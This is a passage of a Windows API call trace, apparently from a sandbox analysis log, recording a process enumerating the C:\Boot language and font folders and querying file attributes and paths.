dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.873] GetLastError () returned 0x12 [0115.873] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.873] GetLastError () returned 0x12 [0115.873] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0115.873] GetLastError () returned 0x12 [0115.873] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0115.873] GetLastError () returned 0x12 [0115.873] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0115.873] GetLastError () returned 0x12 [0115.873] GetFileAttributesA (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0115.874] GetFileAttributesA (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0115.874] GetFullPathNameA (in: lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\el-GR\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0115.874] GetFullPathNameA (in: lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\el-GR\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0115.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0115.874] FindFirstFileA (in: lpFileName="C:\\Boot\\en-GB\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f75d0 [0115.875] GetLastError () returned 0x12 [0115.875] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.875] GetLastError () returned 0x12 [0115.875] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.875] GetLastError () returned 0x12 [0115.875] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0115.875] GetLastError () returned 0x12 [0115.875] FindClose (in: hFindFile=0x10f75d0 | out: hFindFile=0x10f75d0) returned 1 [0115.875] GetFileAttributesA (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0115.876] GetFullPathNameA (in: lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\en-GB\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.876] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0115.877] FindFirstFileA (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0115.877] GetLastError () returned 0x12 [0115.877] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.877] GetLastError () returned 0x12 [0115.877] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.877] GetLastError () returned 0x12 [0115.877] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0115.877] GetLastError () returned 0x12 [0115.877] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0115.878] GetLastError () returned 0x12 [0115.878] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0115.878] GetFileAttributesA (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0115.878] GetFileAttributesA (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0115.878] GetFullPathNameA (in: lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\en-US\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0115.878] GetFullPathNameA (in: lpFileName="C:\\Boot\\en-US\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\en-US\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0115.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0115.879] FindFirstFileA (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7850 [0115.879] GetLastError () returned 0x12 [0115.879] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.879] GetLastError () returned 0x12 [0115.879] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.879] GetLastError () returned 0x12 [0115.879] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0115.879] GetLastError () returned 0x12 [0115.879] FindNextFileA (in: hFindFile=0x10f7850, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0115.880] GetLastError () returned 0x12 [0115.880] FindClose (in: hFindFile=0x10f7850 | out: hFindFile=0x10f7850) returned 1 [0115.880] GetFileAttributesA (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0115.880] GetFileAttributesA (lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0115.880] GetFullPathNameA (in: lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\es-ES\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.880] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0115.881] GetFullPathNameA (in: lpFileName="C:\\Boot\\es-ES\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\es-ES\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0115.881] FindFirstFileA (in: lpFileName="C:\\Boot\\es-MX\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0115.881] GetLastError () returned 0x12 [0115.881] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.881] GetLastError () returned 0x12 [0115.881] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.881] GetLastError () returned 0x12 [0115.881] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0115.881] GetLastError () returned 0x12 [0115.882] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0115.882] GetLastError () returned 0x12 [0115.882] GetFileAttributesA (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0115.882] GetFullPathNameA (in: lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\es-MX\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.882] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0115.882] FindFirstFileA (in: lpFileName="C:\\Boot\\et-EE\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7750 [0115.882] GetLastError () returned 0x12 [0115.882] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.883] GetLastError () returned 0x12 [0115.883] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.883] GetLastError () returned 0x12 [0115.883] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0115.883] GetLastError () returned 0x12 [0115.883] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0115.883] GetFileAttributesA (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0115.883] GetFullPathNameA (in: lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\et-EE\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.884] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0115.884] FindFirstFileA (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7350 [0115.884] GetLastError () returned 0x12 [0115.884] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.884] GetLastError () returned 0x12 [0115.884] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0115.884] GetLastError () returned 0x12 [0115.884] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0115.884] GetLastError () returned 0x12 [0115.885] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0115.885] GetLastError () returned 0x12 [0115.885] FindClose (in: hFindFile=0x10f7350 | out: hFindFile=0x10f7350) returned 1 [0115.885] GetFileAttributesA (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0115.885] GetFileAttributesA (lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0115.885] GetFullPathNameA (in: lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\fi-FI\\bootmgr.exe.mui", lpFilePart=0x9bada4*="bootmgr.exe.mui") returned 0x1d [0115.885] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0115.886] GetFullPathNameA (in: lpFileName="C:\\Boot\\fi-FI\\memtest.exe.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\fi-FI\\memtest.exe.mui", lpFilePart=0x9bada4*="memtest.exe.mui") returned 0x1d [0115.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0115.886] FindFirstFileA (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7350 [0115.887] GetLastError () returned 0x12 [0115.887] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0115.887] GetLastError () returned 0x12 [0115.888] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, 